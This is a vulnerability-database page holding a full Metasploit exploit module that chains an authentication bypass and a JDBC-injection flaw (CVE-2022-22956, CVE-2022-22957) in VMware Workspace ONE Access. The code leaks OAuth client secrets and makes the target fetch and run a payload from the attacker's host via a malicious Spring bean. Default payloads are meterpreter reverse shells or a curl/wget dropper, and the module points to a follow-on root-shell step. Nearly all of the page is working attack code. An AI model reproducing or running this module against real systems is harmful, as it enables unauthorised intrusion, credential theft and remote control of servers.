Mware Workspace ONE Remote Code Execution

2023.04.18
Credit: mr_me
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck class InvalidRequest < StandardError end class InvalidResponse < StandardError end def initialize(info = {}) super( update_info( info, 'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain', 'Description' => %q{ This module combines two vulnerabilities in order achieve remote code execution in the context of the `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker to deserialize arbitrary Java objects which can allow remote code execution. }, 'Author' => [ 'mr_me', # Discovery & PoC 'jheysel-r7' # Metasploit Module ], 'References' => [ ['CVE', '2022-22956'], ['CVE', '2022-22957'], ['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'], ['URL', 'https://github.com/sourceincite/hekate/'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'] ], 'DisclosureDate' => '2022-04-06', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => %i[curl wget], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'Payload' => { 'BadChars' => "\x22" }, 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'LPORT' => 5555 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) end # The VMware products affected do no expose any version information to unauthenticated users. # Attempt to exploit the auth bypass to determine if the target is vulnerable. Both the auth bypass and RCE were # patched in the following VMware update: https://kb.vmware.com/s/article/88099 def check @token = get_authentication_token Exploit::CheckCode::Vulnerable('Successfully by-passed authentication by exploiting CVE-2022-22956') rescue InvalidRequest, InvalidResponse => e return Exploit::CheckCode::Safe("There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}") end # Exploit OAuth2TokenResourceController ACS Authentication Bypass (CVE-2022-22956). # # Return the authentication token def get_authentication_token oauth_client = ['Service__OAuth2Client', 'acs'].sample res_activation_token = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'generateActivationToken', oauth_client), 'method' => 'POST' }) unless res_activation_token raise InvalidRequest, 'No response from the server when requesting an activation token' end unless res_activation_token.code == 200 && res_activation_token.headers['content-type'] == 'application/json;charset=UTF-8' raise InvalidResponse, "Unexpected response code:#{res_activation_token.code}, when requesting an activation token" end activation_token = res_activation_token.get_json_document['activationToken'] res_client_info = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'activate'), 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', 'data' => activation_token }) unless res_client_info raise InvalidRequest, 'No response from client when sending the activation token and expecting client info in return' end unless res_client_info.code == 200 && res_client_info.headers['content-type'] == 'application/json;charset=UTF-8' raise InvalidResponse, "Unexpected response code:#{res_client_info.code}, when sending the activation token and expecting client info in return" end json_client_info = res_client_info.get_json_document client_id = json_client_info['client_id'] client_secret = json_client_info['client_secret'] print_good("Leaked client_id: #{client_id}") print_good("Leaked client_secret: #{client_secret}") post_data = "grant_type=client_credentials&client_id=#{client_id}&client_secret=#{client_secret}" res_access_token = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'SAAS', 'auth', 'oauthtoken'), 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', 'data' => post_data }) unless res_access_token raise InvalidRequest, 'No response from the server when requesting the access token' end unless res_access_token.code == 200 && res_access_token.headers['content-type'] == 'application/json;charset=UTF-8' && res_access_token.get_json_document['access_token'] raise InvalidResponse, 'Invalid response from the server when requesting the access token' end res_access_token.get_json_document['access_token'] end # Serve the files for the target machine to download. # If the request to the server ends in .xml the victim is requesting the spring bean generated by payload_xml method. # If the request doesn't in .xml the victim is requesting the linux dropper payload. def on_request_uri(cli, request) vprint_status("on_request_uri - Request '#{request.method} #{request.uri}'") if request.to_s.include?('.xml') vprint_status('Sending XML response: ') send_response(cli, @payload_xml, { 'Content-Type' => 'application/octet-strem' }) vprint_status('Response sent') else vprint_status('Sending PAYLOAD: ') send_response(cli, generate_payload_exe(code: payload.encoded), { 'Content-Type' => 'application/octet-strem' }) end end # Generates the malicious spring bean that will be hosted by the metasploit http server and downloaded and run by the victim # # Returns an XML document containing the payload. def generate_payload_xml(cmd) bean = '' builder = ::Builder::XmlMarkup.new(target: bean, indent: 2) builder.beans(xmlns: 'http://www.springframework.org/schema/beans', 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd') do builder.bean(id: 'pb', class: 'java.lang.ProcessBuilder', 'init-method': 'start') do builder.constructor do builder.list do builder.value('/bin/sh') builder.value('-c') builder.value(cmd) end end end end bean.gsub!('constructor', 'constructor-arg') vprint_status(bean) bean end # Calls the vulnerable dbCheck method in order to download and run the payload the module is hosting. def trigger_jdbc_rce(jwt, sub_cmd) # jdbc_uri = "jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{filename}" jdbc_uri = "jdbcUrl=jdbc%3Apostgresql%3A%2F%2Flocalhost%3A1337%2Fsaas%3FsocketFactory%3Dorg.springframework.context.support.FileSystemXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F#{datastore['LHOST']}%3A#{datastore['SRVPORT']}%2F#{@payload_name}&dbUsername=&dbPassword" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'system', 'dbCheck'), 'method' => 'POST', 'Content-Type' => 'application/x-www-form-urlencoded', 'Connection' => 'keep-alive', 'cookie' => "HZN=#{jwt}", 'data' => jdbc_uri }) fail_with(Failure::Unreachable, "No response from the request to trigger the following sub command: #{sub_cmd}") unless res fail_with(Failure::UnexpectedReply, "Unexpected response from the request to trigger the following sub command: #{sub_cmd}") unless res.code == 406 && res.body == '{"success":false,"status":406,"message":"database.connection.notSuccess","code":406}' end def execute_command(cmd, opts = {}) vprint_status("Executing the following command: #{cmd}") @payload_xml = generate_payload_xml(cmd) trigger_jdbc_rce(opts[:jwt], cmd) end # Instruct the user to exploit CVE-2022-22960 def on_new_session(_client) print_good('Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell') end def exploit unless @token begin @token = get_authentication_token rescue InvalidRequest => e fail_with(Failure::Unreachable, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}") rescue InvalidResponse => e fail_with(Failure::UnexpectedReply, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}") end end @payload_name = Rex::Text.rand_text_alpha(4..12) + '.xml' start_service('Path' => "/#{@payload_name}") case target['Type'] when :unix_cmd execute_command(payload.encoded, { jwt: @token }) when :linux_dropper execute_cmdstager({ jwt: @token }) else fail_with(Failure::BadConfig, 'Invalid target specified') end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top